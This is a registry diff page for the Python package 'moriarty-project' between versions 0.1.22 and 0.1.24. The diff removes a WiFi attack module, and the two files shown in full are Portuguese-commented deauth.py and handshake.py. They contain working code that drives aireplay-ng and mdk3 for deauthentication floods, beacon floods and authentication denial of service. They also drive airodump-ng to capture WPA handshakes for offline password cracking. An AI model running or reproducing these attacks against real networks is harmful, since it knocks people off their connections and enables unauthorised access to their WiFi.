moriarty-project 0.1.22__py3-none-any.whl → 0.1.24__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (27) hide show
  1. moriarty/__init__.py +1 -1
  2. moriarty/cli/app.py +4 -3
  3. moriarty/cli/domain_cmd.py +5 -1
  4. moriarty/modules/directory_fuzzer.py +25 -5
  5. moriarty/modules/web_crawler.py +448 -91
  6. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/METADATA +3 -3
  7. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/RECORD +9 -27
  8. moriarty/modules/wifippler/__init__.py +0 -92
  9. moriarty/modules/wifippler/cli/__init__.py +0 -8
  10. moriarty/modules/wifippler/cli/commands.py +0 -123
  11. moriarty/modules/wifippler/core/__init__.py +0 -94
  12. moriarty/modules/wifippler/core/attacks/__init__.py +0 -146
  13. moriarty/modules/wifippler/core/attacks/deauth.py +0 -262
  14. moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
  15. moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
  16. moriarty/modules/wifippler/core/attacks/wep.py +0 -467
  17. moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
  18. moriarty/modules/wifippler/core/attacks/wps.py +0 -474
  19. moriarty/modules/wifippler/core/models/__init__.py +0 -10
  20. moriarty/modules/wifippler/core/models/network.py +0 -240
  21. moriarty/modules/wifippler/core/scanner.py +0 -903
  22. moriarty/modules/wifippler/core/utils/__init__.py +0 -624
  23. moriarty/modules/wifippler/core/utils/exec.py +0 -182
  24. moriarty/modules/wifippler/core/utils/network.py +0 -262
  25. moriarty/modules/wifippler/core/utils/system.py +0 -153
  26. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/WHEEL +0 -0
  27. {moriarty_project-0.1.22.dist-info → moriarty_project-0.1.24.dist-info}/entry_points.txt +0 -0
@@ -1,262 +0,0 @@
1
- """
2
- Módulo de ataque de desautenticação.
3
-
4
- Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
5
- - Desautenticar clientes específicos
6
- - Desautenticar todos os clientes de uma rede
7
- - Enviar pacotes de desautenticação em massa
8
- - Realizar ataques Beacon Flood
9
- - Realizar ataques de desautenticação direcionados
10
- """
11
- import os
12
- import re
13
- import time
14
- import logging
15
- import subprocess
16
- import tempfile
17
- from typing import Optional, Dict, List, Tuple, Any, Callable, Union
18
- from dataclasses import dataclass, field
19
- from enum import Enum, auto
20
-
21
- from rich.console import Console
22
- from rich.progress import Progress, SpinnerColumn, TextColumn
23
-
24
- from ...core.models.network import WiFiNetwork, WiFiClient
25
- from ...core.utils import (
26
- is_root, check_dependencies, get_network_interfaces,
27
- set_monitor_mode, restore_network_interface, command_exists,
28
- get_interface_mac
29
- )
30
-
31
- # Importa o decorador de registro de ataques
32
- from . import register_attack
33
-
34
- # Configuração de logging
35
- logging.basicConfig(level=logging.INFO)
36
- logger = logging.getLogger(__name__)
37
- console = Console()
38
-
39
- class DeauthAttackType(Enum):
40
- """Tipos de ataque de desautenticação."""
41
- DEAUTH = auto() # Desautenticação padrão
42
- AUTH = auto() # Pacotes de autenticação
43
- BEACON = auto() # Beacon flood
44
- DISASSOC = auto() # Desassociação
45
- PROBE_RESP = auto() # Resposta a sondas
46
- AUTH_DOS = auto() # Negação de serviço por autenticação
47
- DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
48
- DEAUTH_MULTICAST = auto() # Desautenticação em multicast
49
- DEAUTH_DIRECTED = auto() # Desautenticação direcionada
50
-
51
- class DeauthEventType(Enum):
52
- """Tipos de eventos do ataque de desautenticação."""
53
- START = auto()
54
- PACKET_SENT = auto()
55
- CLIENT_DISCONNECTED = auto()
56
- ERROR = auto()
57
- COMPLETE = auto()
58
- STATUS = auto()
59
-
60
- @dataclass
61
- class DeauthEvent:
62
- """Evento de progresso do ataque de desautenticação."""
63
- type: DeauthAttackType
64
- message: str = ""
65
- data: Dict[str, Any] = field(default_factory=dict)
66
-
67
- @register_attack
68
- class DeauthAttack:
69
- """
70
- Ataque de desautenticação WiFi.
71
-
72
- Este ataque envia pacotes de desautenticação para desconectar clientes de uma rede WiFi.
73
- Pode ser direcionado a um cliente específico ou a todos os clientes de uma rede.
74
- """
75
-
76
- # Metadados do ataque
77
- name = "deauth"
78
- description = "Ataque de desautenticação WiFi para desconectar clientes de uma rede"
79
-
80
- def __init__(self):
81
- """Inicializa o ataque de desautenticação."""
82
- self.interface = None
83
- self.deauth_type = None
84
- self.is_running = False
85
- self.stop_requested = False
86
- self.packets_sent = 0
87
- self.process = None
88
- self._check_dependencies()
89
-
90
- def _check_dependencies(self) -> None:
91
- """Verifica se todas as dependências necessárias estão instaladas."""
92
- required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
93
- missing = [cmd for cmd in required if not command_exists(cmd)]
94
-
95
- if missing:
96
- raise RuntimeError(
97
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
98
- "Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
99
- )
100
-
101
- def run(self, *, iface: str, target: Optional[str] = None, **kwargs) -> bool:
102
- """
103
- Executa o ataque de desautenticação.
104
-
105
- Args:
106
- iface: Interface de rede a ser usada
107
- target: Endereço MAC do alvo (pode ser um cliente ou AP)
108
- **kwargs: Argumentos adicionais:
109
- - bssid: Endereço MAC do ponto de acesso (obrigatório se target for um cliente)
110
- - client_mac: Endereço MAC do cliente (opcional, None para broadcast)
111
- - count: Número de pacotes a enviar (0 para contínuo, padrão: 0)
112
- - delay: Atraso entre pacotes em ms (padrão: 100)
113
- - reason: Código de motivo (padrão: 7)
114
- - channel: Canal da rede (opcional, tenta detectar)
115
- - deauth_type: Tipo de ataque (padrão: DEAUTH)
116
- """
117
- self.interface = iface
118
- bssid = target or kwargs.get('bssid')
119
- client_mac = kwargs.get('client_mac')
120
- count = kwargs.get('count', 0)
121
- delay = kwargs.get('delay', 100)
122
- reason = kwargs.get('reason', 7)
123
- channel = kwargs.get('channel')
124
- deauth_type = kwargs.get('deauth_type', 'DEAUTH')
125
-
126
- # Configura o tipo de ataque
127
- self.deauth_type = DeauthAttackType[deauth_type.upper()] if isinstance(deauth_type, str) else deauth_type
128
-
129
- # Função de callback padrão
130
- def default_callback(event):
131
- if event.type == DeauthEventType.INFO:
132
- logger.info(event.message)
133
- elif event.type == DeauthEventType.ERROR:
134
- logger.error(event.message)
135
-
136
- callback = kwargs.get('callback', default_callback)
137
-
138
- def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
139
- if callback:
140
- event = DeauthEvent(type=event_type, message=message, data=kwargs)
141
- callback(event)
142
-
143
- try:
144
- # Verifica privilégios
145
- if not is_root():
146
- raise PermissionError("Este ataque requer privilégios de root")
147
-
148
- # Define o canal, se especificado
149
- if channel:
150
- self._set_channel(channel)
151
-
152
- # Prepara o comando com base no tipo de ataque
153
- if self.deauth_type == DeauthAttackType.BEACON:
154
- cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
155
- elif self.deauth_type == DeauthAttackType.AUTH_DOS:
156
- cmd = self._prepare_auth_dos(bssid)
157
- else: # Desautenticação padrão
158
- cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
159
-
160
- event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
161
-
162
- # Executa o comando em segundo plano
163
- self.process = subprocess.Popen(
164
- cmd,
165
- stdout=subprocess.PIPE,
166
- stderr=subprocess.STDOUT,
167
- universal_newlines=True
168
- )
169
-
170
- # Monitora a saída
171
- start_time = time.time()
172
- self.is_running = True
173
-
174
- while True:
175
- # Verifica se foi solicitado para parar
176
- if self.stop_requested:
177
- self._stop_process()
178
- event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
179
- return True
180
-
181
- # Verifica se o processo ainda está em execução
182
- if self.process.poll() is not None:
183
- break
184
-
185
- # Lê a saída
186
- line = self.process.stdout.readline()
187
- if line:
188
- # Conta os pacotes enviados
189
- if "DeAuth" in line or "Sent" in line:
190
- self.packets_sent += 1
191
- event_handler(
192
- DeauthEventType.PACKET_SENT,
193
- f"Pacote {self.packets_sent} enviado",
194
- packets_sent=self.packets_sent
195
- )
196
-
197
- # Verifica se um cliente foi desconectado
198
- if "deauth" in line.lower() or "disassoc" in line.lower():
199
- event_handler(
200
- DeauthEventType.CLIENT_DISCONNECTED,
201
- f"Cliente {client_mac or 'broadcast'} desconectado",
202
- client_mac=client_mac,
203
- bssid=bssid
204
- )
205
-
206
- # Aguarda um pouco antes da próxima verificação
207
- time.sleep(0.1)
208
-
209
- event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
210
- return True
211
-
212
- except Exception as e:
213
- event_handler(DeauthEventType.ERROR, f"Erro durante o ataque: {str(e)}")
214
- return False
215
- finally:
216
- self.is_running = False
217
-
218
- def _set_channel(self, channel: int) -> None:
219
- """Define o canal da interface de rede."""
220
- try:
221
- subprocess.run(
222
- ["iwconfig", self.interface, "channel", str(channel)],
223
- check=True,
224
- capture_output=True
225
- )
226
- except subprocess.CalledProcessError as e:
227
- raise RuntimeError(f"Falha ao definir o canal {channel}: {e.stderr}")
228
-
229
- def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
230
- count: int = 0, delay: int = 100,
231
- reason: int = 7) -> List[str]:
232
- """Prepara o comando para desautenticação padrão."""
233
- cmd = ["aireplay-ng", "--deauth", str(count) if count > 0 else "0",
234
- "-a", bssid, "-D", str(delay), "--ignore-negative-one"]
235
-
236
- if client_mac:
237
- cmd.extend(["-c", client_mac])
238
-
239
- cmd.append(self.interface)
240
- return cmd
241
-
242
- def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
243
- """Prepara o comando para ataque de Beacon Flood."""
244
- return ["mdk3", self.interface, "b", "-n", essid, "-c", "1", "-s", "100"]
245
-
246
- def _prepare_auth_dos(self, bssid: str) -> List[str]:
247
- """Prepara o comando para ataque de negação de serviço por autenticação."""
248
- return ["mdk3", self.interface, "a", "-a", bssid, "-m"]
249
-
250
- def _stop_process(self) -> None:
251
- """Para o processo em execução."""
252
- if self.process and self.process.poll() is None:
253
- self.process.terminate()
254
- try:
255
- self.process.wait(timeout=5)
256
- except subprocess.TimeoutExpired:
257
- self.process.kill()
258
-
259
- def stop(self) -> None:
260
- """Solicita a interrupção do ataque."""
261
- self.stop_requested = True
262
- self._stop_process()
@@ -1,402 +0,0 @@
1
- """
2
- Módulo de captura de handshake WPA/WPA2.
3
-
4
- Este módulo implementa a captura de handshakes WPA/WPA2, que são necessários
5
- para realizar ataques de força bruta offline.
6
- """
7
- import os
8
- import re
9
- import time
10
- import logging
11
- import subprocess
12
- import tempfile
13
- from typing import Optional, Dict, List, Tuple, Any, Callable
14
- from dataclasses import dataclass, field
15
- from enum import Enum, auto
16
-
17
- from rich.console import Console
18
- from rich.progress import Progress, SpinnerColumn, TextColumn, BarColumn, TimeElapsedColumn
19
-
20
- from ...core.models.network import WiFiNetwork, WiFiClient
21
- from ...core.utils import (
22
- is_root, check_dependencies, get_network_interfaces,
23
- set_monitor_mode, restore_network_interface, command_exists,
24
- get_interface_mac
25
- )
26
-
27
- # Configuração de logging
28
- logging.basicConfig(level=logging.INFO)
29
- logger = logging.getLogger(__name__)
30
- console = Console()
31
-
32
- class HandshakeEventType(Enum):
33
- """Tipos de eventos da captura de handshake."""
34
- START = auto()
35
- HANDSHAKE_CAPTURED = auto()
36
- DEAUTH_SENT = auto()
37
- ERROR = auto()
38
- PROGRESS = auto()
39
- COMPLETE = auto()
40
- CLIENT_FOUND = auto()
41
- WAITING_FOR_HANDSHAKE = auto()
42
-
43
- @dataclass
44
- class HandshakeEvent:
45
- """Evento de progresso da captura de handshake."""
46
- type: HandshakeEventType
47
- message: str = ""
48
- data: Dict[str, Any] = field(default_factory=dict)
49
-
50
- class HandshakeCapture:
51
- """Classe para capturar handshakes WPA/WPA2."""
52
-
53
- def __init__(self, interface: str = None, timeout: int = 300):
54
- """
55
- Inicializa a captura de handshake.
56
-
57
- Args:
58
- interface: Interface de rede para usar
59
- timeout: Tempo máximo de captura em segundos
60
- """
61
- self.interface = interface
62
- self.timeout = timeout
63
- self.is_running = False
64
- self.stop_requested = False
65
- self.handshake_captured = False
66
- self.handshake_file = ""
67
- self.clients = []
68
-
69
- # Verifica dependências
70
- self._check_dependencies()
71
-
72
- # Verifica privilégios
73
- if not is_root():
74
- raise PermissionError("Este módulo requer privilégios de root")
75
-
76
- def _check_dependencies(self) -> None:
77
- """Verifica se todas as dependências necessárias estão instaladas."""
78
- required = ['airodump-ng', 'aireplay-ng', 'aircrack-ng']
79
- missing = [cmd for cmd in required if not command_exists(cmd)]
80
-
81
- if missing:
82
- raise RuntimeError(
83
- f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
84
- "Instale-as com: sudo apt install aircrack-ng"
85
- )
86
-
87
- def capture(self, bssid: str, channel: int, essid: str = None,
88
- output_prefix: str = "handshake",
89
- deauth: bool = True, deauth_count: int = 5,
90
- client_mac: str = None,
91
- callback: Callable[[HandshakeEvent], None] = None) -> Tuple[bool, str]:
92
- """
93
- Captura um handshake WPA/WPA2.
94
-
95
- Args:
96
- bssid: Endereço MAC do ponto de acesso
97
- channel: Canal da rede
98
- essid: Nome da rede (opcional)
99
- output_prefix: Prefixo para os arquivos de saída
100
- deauth: Se deve enviar pacotes de desautenticação
101
- deauth_count: Número de pacotes de desautenticação a enviar
102
- client_mac: Endereço MAC do cliente alvo (opcional)
103
- callback: Função de callback para eventos
104
-
105
- Returns:
106
- Tupla (sucesso, caminho_do_arquivo_capturado)
107
- """
108
- self.is_running = True
109
- self.stop_requested = False
110
- self.handshake_captured = False
111
- self.handshake_file = ""
112
- self.clients = []
113
-
114
- # Configura o monitoramento de eventos
115
- def event_handler(event_type: HandshakeEventType, message: str = "", **kwargs):
116
- if callback:
117
- event = HandshakeEvent(type=event_type, message=message, data=kwargs)
118
- callback(event)
119
-
120
- # Cria um diretório temporário para os arquivos
121
- with tempfile.TemporaryDirectory() as temp_dir:
122
- try:
123
- output_file = os.path.join(temp_dir, output_prefix)
124
- cap_file = f"{output_file}-01.cap"
125
-
126
- # Comando para o airodump-ng
127
- cmd_airodump = [
128
- 'airodump-ng',
129
- '--bssid', bssid,
130
- '-c', str(channel),
131
- '-w', output_file,
132
- '--output-format', 'cap,pcap',
133
- '--write-interval', '1',
134
- self.interface
135
- ]
136
-
137
- if essid:
138
- cmd_airodump.extend(['--essid', essid])
139
-
140
- event_handler(HandshakeEventType.START, "Iniciando captura do handshake...")
141
-
142
- # Executa o airodump-ng em segundo plano
143
- airodump_proc = subprocess.Popen(
144
- cmd_airodump,
145
- stdout=subprocess.PIPE,
146
- stderr=subprocess.PIPE,
147
- universal_newlines=True
148
- )
149
-
150
- # Aguarda o airodump-ng iniciar
151
- time.sleep(5)
152
-
153
- # Se solicitado, envia pacotes de desautenticação
154
- if deauth:
155
- self._send_deauth(
156
- bssid,
157
- count=deauth_count,
158
- client=client_mac,
159
- callback=lambda e: event_handler(
160
- HandshakeEventType.DEAUTH_SENT,
161
- e.message,
162
- **e.data
163
- )
164
- )
165
-
166
- # Monitora a captura
167
- start_time = time.time()
168
- last_client_count = 0
169
-
170
- with Progress(
171
- SpinnerColumn(),
172
- TextColumn("[progress.description]{task.description}"),
173
- BarColumn(bar_width=40),
174
- "[progress.percentage]{task.percentage:>3.0f}%",
175
- TimeElapsedColumn(),
176
- console=console,
177
- transient=True,
178
- ) as progress:
179
- task = progress.add_task("Aguardando handshake WPA...", total=100)
180
-
181
- while True:
182
- # Verifica timeout
183
- elapsed = time.time() - start_time
184
- if elapsed > self.timeout:
185
- event_handler(
186
- HandshakeEventType.ERROR,
187
- "Tempo limite excedido na captura do handshake"
188
- )
189
- airodump_proc.terminate()
190
- return False, ""
191
-
192
- # Verifica se foi solicitado para parar
193
- if self.stop_requested:
194
- event_handler(
195
- HandshakeEventType.ERROR,
196
- "Captura interrompida pelo usuário"
197
- )
198
- airodump_proc.terminate()
199
- return False, ""
200
-
201
- # Atualiza a barra de progresso
202
- progress.update(task, completed=min(100, (elapsed / self.timeout) * 100))
203
-
204
- # Verifica se o arquivo de captura existe
205
- if os.path.exists(cap_file):
206
- # Verifica se o handshake foi capturado
207
- if self._check_handshake(cap_file, bssid):
208
- self.handshake_captured = True
209
- self.handshake_file = cap_file
210
-
211
- # Copia o arquivo para o diretório atual
212
- import shutil
213
- final_file = os.path.join(os.getcwd(), f"{output_prefix}.cap")
214
- shutil.copy2(cap_file, final_file)
215
-
216
- event_handler(
217
- HandshakeEventType.HANDSHAKE_CAPTURED,
218
- "Handshake capturado com sucesso!",
219
- handshake_file=final_file
220
- )
221
-
222
- airodump_proc.terminate()
223
- return True, final_file
224
-
225
- # Verifica por novos clientes
226
- clients = self._get_clients(cap_file, bssid)
227
- if len(clients) > last_client_count:
228
- last_client_count = len(clients)
229
- self.clients = clients
230
-
231
- event_handler(
232
- HandshakeEventType.CLIENT_FOUND,
233
- f"{len(clients)} cliente(s) encontrado(s)",
234
- clients=clients
235
- )
236
-
237
- # Se não havia cliente alvo e encontrou um, envia desautenticação
238
- if deauth and not client_mac and clients:
239
- client_mac = clients[0].mac
240
- self._send_deauth(
241
- bssid,
242
- client=client_mac,
243
- count=deauth_count,
244
- callback=lambda e: event_handler(
245
- HandshakeEventType.DEAUTH_SENT,
246
- e.message,
247
- **e.data
248
- )
249
- )
250
-
251
- # Aguarda um pouco antes da próxima verificação
252
- time.sleep(1)
253
-
254
- return False, ""
255
-
256
- except Exception as e:
257
- event_handler(
258
- HandshakeEventType.ERROR,
259
- f"Erro durante a captura do handshake: {str(e)}"
260
- )
261
- return False, ""
262
-
263
- finally:
264
- self.is_running = False
265
- # Encerra processos em execução
266
- try:
267
- airodump_proc.terminate()
268
- except:
269
- pass
270
-
271
- def _send_deauth(self, bssid: str, client: str = None,
272
- count: int = 5, reason: int = 7,
273
- callback: Callable[[HandshakeEvent], None] = None) -> bool:
274
- """
275
- Envia pacotes de desautenticação para forçar um handshake.
276
-
277
- Args:
278
- bssid: Endereço MAC do ponto de acesso
279
- client: Endereço MAC do cliente (None para broadcast)
280
- count: Número de pacotes a enviar
281
- reason: Código de motivo da desautenticação
282
- callback: Função de callback para eventos
283
-
284
- Returns:
285
- True se os pacotes foram enviados com sucesso, False caso contrário
286
- """
287
- try:
288
- cmd = [
289
- 'aireplay-ng',
290
- '--deauth', str(count),
291
- '-a', bssid,
292
- '-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
293
- '--ignore-negative-one',
294
- ]
295
-
296
- if client and client.lower() != 'ff:ff:ff:ff:ff:ff':
297
- cmd.extend(['-c', client])
298
-
299
- cmd.append(self.interface)
300
-
301
- if callback:
302
- event = HandshakeEvent(
303
- type=HandshakeEventType.DEAUTH_SENT,
304
- message=f"Enviando {count} pacotes de desautenticação para {client or 'broadcast'}",
305
- data={
306
- 'bssid': bssid,
307
- 'client': client,
308
- 'count': count,
309
- 'reason': reason
310
- }
311
- )
312
- callback(event)
313
-
314
- subprocess.run(cmd, capture_output=True, check=True)
315
- return True
316
-
317
- except subprocess.CalledProcessError as e:
318
- if callback:
319
- event = HandshakeEvent(
320
- type=HandshakeEventType.ERROR,
321
- message=f"Erro ao enviar pacotes de desautenticação: {e.stderr}",
322
- data={'error': str(e)}
323
- )
324
- callback(event)
325
- return False
326
-
327
- def _check_handshake(self, cap_file: str, bssid: str) -> bool:
328
- """
329
- Verifica se um arquivo de captura contém um handshake WPA/WPA2 válido.
330
-
331
- Args:
332
- cap_file: Caminho para o arquivo de captura
333
- bssid: Endereço MAC do ponto de acesso
334
-
335
- Returns:
336
- True se o handshake for válido, False caso contrário
337
- """
338
- try:
339
- # Usa o aircrack-ng para verificar o handshake
340
- cmd = ['aircrack-ng', cap_file, '-b', bssid, '-l', '/dev/null']
341
- result = subprocess.run(cmd, capture_output=True, text=True)
342
-
343
- # Verifica a saída para determinar se há um handshake válido
344
- return "1 handshake" in result.stdout or "1 valid handshake" in result.stdout
345
-
346
- except Exception as e:
347
- logger.error(f"Erro ao verificar handshake: {e}")
348
- return False
349
-
350
- def _get_clients(self, cap_file: str, bssid: str) -> List[WiFiClient]:
351
- """
352
- Extrai a lista de clientes de um arquivo de captura.
353
-
354
- Args:
355
- cap_file: Caminho para o arquivo de captura
356
- bssid: Endereço MAC do ponto de acesso
357
-
358
- Returns:
359
- Lista de clientes encontrados
360
- """
361
- clients = []
362
-
363
- try:
364
- # Usa o tshark para extrair os endereços MAC dos clientes
365
- cmd = [
366
- 'tshark',
367
- '-r', cap_file,
368
- '-Y', f'wlan.bssid == {bssid} && wlan.fc.type_subtype == 0x08', # Beacon frames
369
- '-T', 'fields',
370
- '-e', 'wlan.ta', # Transmitter address (client MAC)
371
- '-e', 'wlan_radio.signal_dbm',
372
- '-e', 'frame.time_relative'
373
- ]
374
-
375
- result = subprocess.run(cmd, capture_output=True, text=True)
376
-
377
- # Processa a saída
378
- for line in result.stdout.splitlines():
379
- parts = line.strip().split('\t')
380
- if len(parts) >= 2:
381
- mac = parts[0].strip()
382
- signal = int(float(parts[1])) if parts[1] else -100
383
-
384
- # Verifica se o cliente já está na lista
385
- if not any(c.mac == mac for c in clients):
386
- client = WiFiClient(
387
- mac=mac,
388
- signal_dbm=signal,
389
- signal_percent=max(0, min(100, 2 * (signal + 100))),
390
- is_associated=True
391
- )
392
- clients.append(client)
393
-
394
- return clients
395
-
396
- except Exception as e:
397
- logger.error(f"Erro ao extrair clientes: {e}")
398
- return []
399
-
400
- def stop(self):
401
- """Solicita a interrupção da captura."""
402
- self.stop_requested = True